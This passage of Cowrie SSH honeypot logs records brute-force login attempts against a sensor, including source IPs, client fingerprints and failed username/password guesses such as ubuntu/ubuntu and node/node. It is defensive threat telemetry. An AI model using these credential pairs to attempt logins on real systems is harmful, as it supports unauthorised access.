03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:21.611514Z","src_ip":"45.78.207.244","session":"d4b1e592952b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"min","password":"12345678","message":"login attempt [min/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:22.612257Z","src_ip":"45.78.207.244","session":"d4b1e592952b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:24.656420Z","src_ip":"45.78.207.244","session":"d4b1e592952b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":2369,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f8994c6dd1b","protocol":"ssh","message":"New connection: 189.217.130.86:2369 (159.203.135.109:22) [session: 1f8994c6dd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:42.315837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:42.321345Z","src_ip":"189.217.130.86","session":"1f8994c6dd1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:42.398873Z","src_ip":"189.217.130.86","session":"1f8994c6dd1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mobile","password":"Mobile123!","message":"login attempt [mobile/Mobile123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:42.735204Z","src_ip":"189.217.130.86","session":"1f8994c6dd1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:43.813751Z","src_ip":"189.217.130.86","session":"1f8994c6dd1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":48722,"dst_ip":"159.203.135.109","dst_port":22,"session":"f83c3ccfba5d","protocol":"ssh","message":"New connection: 2.57.122.238:48722 (159.203.135.109:22) [session: f83c3ccfba5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:37.097731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:37.102199Z","src_ip":"2.57.122.238","session":"f83c3ccfba5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:37.201300Z","src_ip":"2.57.122.238","session":"f83c3ccfba5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:37.500375Z","src_ip":"2.57.122.238","session":"f83c3ccfba5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:38.600748Z","src_ip":"2.57.122.238","session":"f83c3ccfba5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":39208,"dst_ip":"159.203.135.109","dst_port":22,"session":"a67a33d67141","protocol":"ssh","message":"New connection: 64.176.195.200:39208 (159.203.135.109:22) [session: a67a33d67141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:45.154007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:45.157114Z","src_ip":"64.176.195.200","session":"a67a33d67141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:45.163879Z","src_ip":"64.176.195.200","session":"a67a33d67141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"purchase","password":"purchase1","message":"login attempt [purchase/purchase1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:45.174541Z","src_ip":"64.176.195.200","session":"a67a33d67141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:36:46.180552Z","src_ip":"64.176.195.200","session":"a67a33d67141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.104","src_port":63842,"dst_ip":"159.203.135.109","dst_port":22,"session":"b558b0f47918","protocol":"ssh","message":"New connection: 205.210.31.104:63842 (159.203.135.109:22) [session: b558b0f47918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:37:47.885498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:37:48.873290Z","src_ip":"205.210.31.104","session":"b558b0f47918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:37:49.767022Z","src_ip":"205.210.31.104","session":"b558b0f47918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:37:56.900939Z","src_ip":"205.210.31.104","session":"b558b0f47918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":54074,"dst_ip":"159.203.135.109","dst_port":22,"session":"a252a2f34f54","protocol":"ssh","message":"New connection: 45.78.207.244:54074 (159.203.135.109:22) [session: a252a2f34f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:12.295306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:12.300335Z","src_ip":"45.78.207.244","session":"a252a2f34f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:12.541216Z","src_ip":"45.78.207.244","session":"a252a2f34f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.178.16.179","src_port":36542,"dst_ip":"159.203.135.109","dst_port":22,"session":"b550669019e2","protocol":"ssh","message":"New connection: 172.178.16.179:36542 (159.203.135.109:22) [session: b550669019e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:41.110239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:41.549821Z","src_ip":"172.178.16.179","session":"b550669019e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:41.559871Z","src_ip":"172.178.16.179","session":"b550669019e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fangdaohong","password":"Fangdaohong123!","message":"login attempt [fangdaohong/Fangdaohong123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:41.871835Z","src_ip":"172.178.16.179","session":"b550669019e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:42.901499Z","src_ip":"172.178.16.179","session":"b550669019e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":46680,"dst_ip":"159.203.135.109","dst_port":22,"session":"4110ffca9206","protocol":"ssh","message":"New connection: 2.57.122.238:46680 (159.203.135.109:22) [session: 4110ffca9206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:52.480942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:52.485496Z","src_ip":"2.57.122.238","session":"4110ffca9206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:52.589416Z","src_ip":"2.57.122.238","session":"4110ffca9206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:52.900244Z","src_ip":"2.57.122.238","session":"4110ffca9206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:38:54.005377Z","src_ip":"2.57.122.238","session":"4110ffca9206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:40:12.321467Z","src_ip":"45.78.207.244","session":"a252a2f34f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39226,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5b141ef9085","protocol":"ssh","message":"New connection: 2.57.122.238:39226 (159.203.135.109:22) [session: a5b141ef9085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:07.360113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:07.364798Z","src_ip":"2.57.122.238","session":"a5b141ef9085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:07.459349Z","src_ip":"2.57.122.238","session":"a5b141ef9085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:07.743236Z","src_ip":"2.57.122.238","session":"a5b141ef9085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:08.841296Z","src_ip":"2.57.122.238","session":"a5b141ef9085","protocol":"ssh"}
